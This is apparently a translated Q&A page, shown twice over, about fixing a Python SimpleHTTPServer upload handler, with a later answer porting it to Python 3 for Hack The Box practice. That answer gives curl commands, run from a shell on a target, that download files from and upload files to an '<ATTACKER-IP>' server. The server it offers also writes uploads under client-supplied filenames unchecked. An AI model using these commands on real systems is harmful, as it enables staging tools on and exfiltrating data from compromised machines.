Python SimpleHTTPServer 接收文件
Python SimpleHTTPServer to receive files
我正在使用 SimpleHTTPServer 的 do_POST 方法来接收文件。如果我使用 curl 上传 png 文件,脚本工作正常,但每当我使用 python 请求库上传文件时,文件上传但变得损坏。这是 SimpleHTTPServer 代码
#!/usr/bin/env python
# Simple HTTP Server With Upload.
import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import shutil
import mimetypes
import re
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
# Simple HTTP request handler with POST commands.
def do_POST(self):
"""Serve a POST request."""
r, info = self.deal_post_data()
print r, info, "by: ", self.client_address
f = StringIO()
if r:
f.write("<strong>Success:</strong>")
else:
f.write("<strong>Failed:</strong>")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
print self.headers
boundary = self.headers.plisttext.split("=")[1]
print 'Boundary %s' %boundary
remainbytes = int(self.headers['content-length'])
print "Remain Bytes %s" %remainbytes
line = self.rfile.readline()
remainbytes -= len(line)
if not boundary in line:
return (False, "Content NOT begin with boundary")
line = self.rfile.readline()
remainbytes -= len(line)
fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
if not fn:
return (False, "Can't find out file name...")
path = self.translate_path(self.path)
fn = os.path.join(path, fn[0])
line = self.rfile.readline()
remainbytes -= len(line)
line = self.rfile.readline()
remainbytes -= len(line)
try:
out = open(fn, 'wb')
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
preline = self.rfile.readline()
remainbytes -= len(preline)
while remainbytes > 0:
line = self.rfile.readline()
remainbytes -= len(line)
if boundary in line:
preline = preline[0:-1]
if preline.endswith('\r'):
preline = preline[0:-1]
out.write(preline)
out.close()
return (True, "File '%s' upload success!" % fn)
else:
out.write(preline)
preline = line
return (False, "Unexpect Ends of data.")
def translate_path(self, path):
"""Translate a /-separated PATH to the local filename syntax.
Components that mean special things to the local file system
(e.g. drive or directory names) are ignored. (XXX They should
probably be diagnosed.)
"""
# abandon query parameters
path = path.split('?',1)[0]
path = path.split('#',1)[0]
path = posixpath.normpath(urllib.unquote(path))
words = path.split('/')
words = filter(None, words)
path = os.getcwd()
for word in words:
drive, word = os.path.splitdrive(word)
head, word = os.path.split(word)
if word in (os.curdir, os.pardir): continue
path = os.path.join(path, word)
return path
def copyfile(self, source, outputfile):
"""Copy all data between two file objects.
The SOURCE argument is a file object open for reading
(or anything with a read() method) and the DESTINATION
argument is a file object open for writing (or
anything with a write() method).
The only reason for overriding this would be to change
the block size or perhaps to replace newlines by CRLF
-- note however that this the default server uses this
to copy binary data as well.
"""
shutil.copyfileobj(source, outputfile)
def test(HandlerClass = SimpleHTTPRequestHandler,
ServerClass = BaseHTTPServer.HTTPServer):
BaseHTTPServer.test(HandlerClass, ServerClass)
if __name__ == '__main__':
test()
上传文件的客户端代码在这里
#!/usr/bin/python
import requests
files = {'file': open('test.png', 'rb')}
r = requests.post('http://192.168.5.134:8000', files=files)
print r.request.headers
文件上传成功但已损坏。
使用curl [ curl -F 'file=@test.png' 192.168.5.134:8000/ -v ],文件上传并打开成功。
python-请求码有问题吗?
curl
和 request
略有不同 header,curl
有一个额外的空行,而 requests
没有。
将preline = self.rfile.readline()
替换为以下块
if line.strip():
preline = line
else:
preline = self.rfile.readline()
2019 年更新:我今天在 hackthebox.eu 上玩游戏时一直在寻找这个功能。我对 Python 不是很在意,但我最终采用了这个示例并将其移植到 Python 3,因为 Python 2 在这一点上基本上已经死了。
希望这对 2019 年寻找此内容的任何人有所帮助,我总是很高兴听到我可以改进代码的方法。在 https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c
获取
感谢提问者,感谢留言者!
编辑:我被要求粘贴代码,不用担心。为了简洁起见,我删除了一些评论,所以这里有一些注释:
- 基于 bones7456 的 gist,因为出处很重要。
- 我从响应中删除了 HTML,因为我的用例不需要它。
- 在野外使用它需要您自担风险。我用它在 HTB 上的服务器之间移动文件,所以它基本上是当前形式的玩具。
- 入侵地球等
运行 来自您的攻击设备的脚本,位于您 tools/data 所在的文件夹中,或者您正在旋转的盒子中。从目标 PC 连接到它以简单方便地来回推送文件。
# Usage - connect from a shell on the target machine:
# Download a file from your attack device:
curl -O http://<ATTACKER-IP>:44444/<FILENAME>
# Upload a file back to your attack device:
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/
# Multiple file upload supported, just add more -F 'file=@<FILENAME>'
# parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/
代码:
#!/usr/env python3
import http.server
import socketserver
import io
import cgi
# Change this to serve on a different port
PORT = 44444
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
r, info = self.deal_post_data()
print(r, info, "by: ", self.client_address)
f = io.BytesIO()
if r:
f.write(b"Success\n")
else:
f.write(b"Failed\n")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
if ctype == 'multipart/form-data':
form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
print (type(form))
try:
if isinstance(form["file"], list):
for record in form["file"]:
open("./%s"%record.filename, "wb").write(record.file.read())
else:
open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
return (True, "Files uploaded")
Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()
我正在使用 SimpleHTTPServer 的 do_POST 方法来接收文件。如果我使用 curl 上传 png 文件,脚本工作正常,但每当我使用 python 请求库上传文件时,文件上传但变得损坏。这是 SimpleHTTPServer 代码
#!/usr/bin/env python
# Simple HTTP Server With Upload.
import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import shutil
import mimetypes
import re
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
# Simple HTTP request handler with POST commands.
def do_POST(self):
"""Serve a POST request."""
r, info = self.deal_post_data()
print r, info, "by: ", self.client_address
f = StringIO()
if r:
f.write("<strong>Success:</strong>")
else:
f.write("<strong>Failed:</strong>")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
print self.headers
boundary = self.headers.plisttext.split("=")[1]
print 'Boundary %s' %boundary
remainbytes = int(self.headers['content-length'])
print "Remain Bytes %s" %remainbytes
line = self.rfile.readline()
remainbytes -= len(line)
if not boundary in line:
return (False, "Content NOT begin with boundary")
line = self.rfile.readline()
remainbytes -= len(line)
fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
if not fn:
return (False, "Can't find out file name...")
path = self.translate_path(self.path)
fn = os.path.join(path, fn[0])
line = self.rfile.readline()
remainbytes -= len(line)
line = self.rfile.readline()
remainbytes -= len(line)
try:
out = open(fn, 'wb')
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
preline = self.rfile.readline()
remainbytes -= len(preline)
while remainbytes > 0:
line = self.rfile.readline()
remainbytes -= len(line)
if boundary in line:
preline = preline[0:-1]
if preline.endswith('\r'):
preline = preline[0:-1]
out.write(preline)
out.close()
return (True, "File '%s' upload success!" % fn)
else:
out.write(preline)
preline = line
return (False, "Unexpect Ends of data.")
def translate_path(self, path):
"""Translate a /-separated PATH to the local filename syntax.
Components that mean special things to the local file system
(e.g. drive or directory names) are ignored. (XXX They should
probably be diagnosed.)
"""
# abandon query parameters
path = path.split('?',1)[0]
path = path.split('#',1)[0]
path = posixpath.normpath(urllib.unquote(path))
words = path.split('/')
words = filter(None, words)
path = os.getcwd()
for word in words:
drive, word = os.path.splitdrive(word)
head, word = os.path.split(word)
if word in (os.curdir, os.pardir): continue
path = os.path.join(path, word)
return path
def copyfile(self, source, outputfile):
"""Copy all data between two file objects.
The SOURCE argument is a file object open for reading
(or anything with a read() method) and the DESTINATION
argument is a file object open for writing (or
anything with a write() method).
The only reason for overriding this would be to change
the block size or perhaps to replace newlines by CRLF
-- note however that this the default server uses this
to copy binary data as well.
"""
shutil.copyfileobj(source, outputfile)
def test(HandlerClass = SimpleHTTPRequestHandler,
ServerClass = BaseHTTPServer.HTTPServer):
BaseHTTPServer.test(HandlerClass, ServerClass)
if __name__ == '__main__':
test()
上传文件的客户端代码在这里
#!/usr/bin/python
import requests
files = {'file': open('test.png', 'rb')}
r = requests.post('http://192.168.5.134:8000', files=files)
print r.request.headers
文件上传成功但已损坏。
使用curl [ curl -F 'file=@test.png' 192.168.5.134:8000/ -v ],文件上传并打开成功。
python-请求码有问题吗?
curl
和 request
略有不同 header,curl
有一个额外的空行,而 requests
没有。
将preline = self.rfile.readline()
替换为以下块
if line.strip():
preline = line
else:
preline = self.rfile.readline()
2019 年更新:我今天在 hackthebox.eu 上玩游戏时一直在寻找这个功能。我对 Python 不是很在意,但我最终采用了这个示例并将其移植到 Python 3,因为 Python 2 在这一点上基本上已经死了。
希望这对 2019 年寻找此内容的任何人有所帮助,我总是很高兴听到我可以改进代码的方法。在 https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c
获取感谢提问者,感谢留言者!
编辑:我被要求粘贴代码,不用担心。为了简洁起见,我删除了一些评论,所以这里有一些注释:
- 基于 bones7456 的 gist,因为出处很重要。
- 我从响应中删除了 HTML,因为我的用例不需要它。
- 在野外使用它需要您自担风险。我用它在 HTB 上的服务器之间移动文件,所以它基本上是当前形式的玩具。
- 入侵地球等
运行 来自您的攻击设备的脚本,位于您 tools/data 所在的文件夹中,或者您正在旋转的盒子中。从目标 PC 连接到它以简单方便地来回推送文件。
# Usage - connect from a shell on the target machine:
# Download a file from your attack device:
curl -O http://<ATTACKER-IP>:44444/<FILENAME>
# Upload a file back to your attack device:
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/
# Multiple file upload supported, just add more -F 'file=@<FILENAME>'
# parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/
代码:
#!/usr/env python3
import http.server
import socketserver
import io
import cgi
# Change this to serve on a different port
PORT = 44444
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
r, info = self.deal_post_data()
print(r, info, "by: ", self.client_address)
f = io.BytesIO()
if r:
f.write(b"Success\n")
else:
f.write(b"Failed\n")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
if ctype == 'multipart/form-data':
form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
print (type(form))
try:
if isinstance(form["file"], list):
for record in form["file"]:
open("./%s"%record.filename, "wb").write(record.file.read())
else:
open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
return (True, "Files uploaded")
Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()